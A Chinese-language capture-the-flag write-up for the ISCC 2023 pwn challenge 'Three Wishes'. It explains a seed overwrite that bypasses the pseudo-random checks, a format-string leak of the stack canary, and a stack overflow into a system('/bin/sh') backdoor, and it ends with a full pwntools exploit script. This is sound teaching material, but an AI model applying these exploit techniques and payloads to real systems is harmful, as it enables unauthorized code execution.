收获

  • 伪随机数绕过

  • 利用格式化字符串漏洞绕过 canary 金丝雀保护

  • 最后一步溢出时,跳转地址为 system("/bin/sh") 的地址 0x4011F5,比赛时使用 elf.symbols["haveadoor"]0x4011D6)在远程是可以的,但本地无法 PWN 通


(2023年5月1日-2023年5月25日)【ISCC 2023】三个愿望


思路

分析文件并运行:

2023ISCC-三个愿望1.png

开启了金丝雀保护,栈不可执行,但没有开启 PIE 地址随机化

在 IDA 下分析:

2023ISCC-三个愿望2.png

2023ISCC-三个愿望3.png

首先输入 ss 的长度为 0x16,观察栈中数据,发现 s 的长度不足以覆盖栈上的返回地址

2023ISCC-三个愿望4.png

后面需要绕过伪随机数的校验,发现伪随机数种子 seed 是可以由 s 覆盖的
因此可以通过 sseed 覆盖为我们设置的值,即可绕过每一次伪随机数校验

绕过伪随机数后,进入 secondwish() 函数:

2023ISCC-三个愿望5.png

输入 s 并且 printf(s) 存在格式化字符串漏洞

2023ISCC-三个愿望7.png

s 的长度为 0x10,无法覆盖栈上的返回地址,最后 var_8 的地方为 canary

当执行完 secondwish() 函数后,v3 = 1,下一次循环进入 thirdwish() 函数:

2023ISCC-三个愿望6.png

输入 s 的长度为 0x40 是可以溢出到返回地址的
但是栈中 var_8 处存在 canary 保护,不可以直接覆盖返回地址

2023ISCC-三个愿望8.png

同时,存在后门函数 haveadoor()

2023ISCC-三个愿望9.png

查看 system("/bin/sh") 的地址为 0x4011F5

2023ISCC-三个愿望10.png

所以思路就是利用 thirdwish() 函数中的 s 溢出覆盖返回地址为 0x4011F5,即可触发 system("/bin/sh")

关键就在于如何绕过金丝雀 canary 来覆盖返回地址

由于 secondwish() 函数中存在格式化字符串漏洞,并且栈中也存在 canary 保护,因此可以利用格式化字符串漏洞将栈上的 canary 的值打印出来,即可获取 canary 的值,在 thirdwish() 函数中利用栈溢出覆盖时保持 canary 的值不动即可

关于 canary
canary 的值在程序每一次运行都是会改变的
但是,在一个程序的一次运行过程中,canary 的值都是相同的

因此 secondwish() 函数的栈中泄露出的 canary 的值,其实和 thirdwish() 函数中的 canary 的值是一样的

由于 secondwish() 函数中 s 距离金丝雀 var_8 的长度为:0x30 - 0x8 = 0x28
64 位程序一个参数占用 8 字节,0x28 / 8 = 5,即:var_8 是栈上的第 5 个参数
64 位程序的前 6 个参数存放在寄存器 RDIRSIRDXRCXR8R9 内,当超过 6 个参数才存入栈中
因此 var_8 的值应在第 6 + 5 = 11 个参数的位置,使用 printf("%11$p") 将其泄露,这个值就是金丝雀 canary


脚本

from pwn import *
from ctypes import *  # 导入ctypes库使Python可以执行C语言的函数

context(os='linux', arch='amd64', log_level='debug')
content = 1

elf = ELF("/home/wyy/桌面/PWN/三个愿望/makewishes")
haveadoor_addr = elf.symbols["haveadoor"]


def srand():  # 绕过随机数校验
    global io
    lib = cdll.LoadLibrary("/home/wyy/桌面/PWN/三个愿望/libc.so.6")  # C运行库
    lib.srand(1)  # 将种子设为1
    number = str(lib.rand() % 9 + 1)  # 执行随机函数
    return number


if content == 1:
    io = process("/home/wyy/桌面/PWN/三个愿望/makewishes")
else:
    io = remote("59.110.164.72", 10001)

payload = b'a' * (0x16 - 0x08) + p64(1)
io.recvuntil("Now you can make your first wish\n")
io.sendline(payload)  # 设置伪随机数种子为1

io.recvuntil("Please give me a number!\n")
io.sendline(srand())  # 绕过伪随机数校验
io.recvuntil("Now you can make your second wish!\n")
io.sendline("%11$p")  # 格式化字符串漏洞泄露canary(栈上第11个值)
canary = int(io.recvuntil("\n"), 16)  # 接收canary的值
print(hex(canary))

io.recvuntil("Please give me a number!\n")
io.sendline(srand())  # 绕过伪随机数校验
io.recvuntil("Now you can make your final wish!\n")
payload = b'a' * (0x30 - 0x8) + p64(canary) + b'a' * 0x8 + p64(0x4011F5)
io.sendline(payload)
io.interactive()

结果

2023ISCC-三个愿望11.png